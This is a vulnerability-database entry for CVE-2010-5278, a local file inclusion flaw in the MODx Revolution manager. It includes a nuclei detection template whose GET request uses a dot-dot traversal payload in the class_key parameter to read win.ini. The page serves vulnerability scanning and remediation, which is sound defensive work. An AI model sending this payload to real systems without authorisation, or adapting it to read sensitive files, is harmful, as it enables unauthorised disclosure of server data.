CVE-2010-5278· modx / modx revolution· CWE-22
MODx manager - Local File Inclusion
mediumseverity
4.3CVSS score
18.6%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
A directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl and possibly earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter when magic_quotes_gpc is disabled.
Impact
An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
Fix
Apply the latest patches and updates provided by MODx to fix the LFI vulnerability.
How to confirm it
Send: GET {{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00
Positive when: contains "bit app support" and "fonts" and "extensions" AND status 200Run it with nuclei: nuclei -id CVE-2010-5278 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2010-5278
info:
name: MODx manager - Local File Inclusion
author: daffainfo
severity: medium
description: A directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl and possibly earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter when magic_quotes_gpc is disabled.
impact: |
An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
remediation: |
Apply the latest patches and updates provided by MODx to fix the LFI vulnerability.
reference:
- https://www.exploit-db.com/exploits/34788
- https://nvd.nist.gov/vuln/detail/CVE-2010-5278
- http://packetstormsecurity.org/1009-exploits/modx202pl-lfi.txt
- http://modxcms.com/forums/index.php/topic,55104.0.html
- http://modxcms.com/forums/index.php/topic,55105.msg317273.html
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2010-5278
cwe-id: CWE-22
epss-score: 0.18633
epss-percentile: 0.97287
cpe: cpe:2.3:a:modx:modx_revolution:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: modx
product: modx_revolution
shodan-query: cpe:"cpe:2.3:a:modx:modx_revolution"
tags: cve,cve2010,lfi,edb,packetstorm,modx,vuln
http:
- method: GET
path:
- "{{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/34788
- https://nvd.nist.gov/vuln/detail/CVE-2010-5278
- http://packetstormsecurity.org/1009-exploits/modx202pl-lfi.txt
- http://modxcms.com/forums/index.php/topic,55104.0.html
- http://modxcms.com/forums/index.php/topic,55105.msg317273.html
Use this check only on systems you are authorised to test. Where the data comes from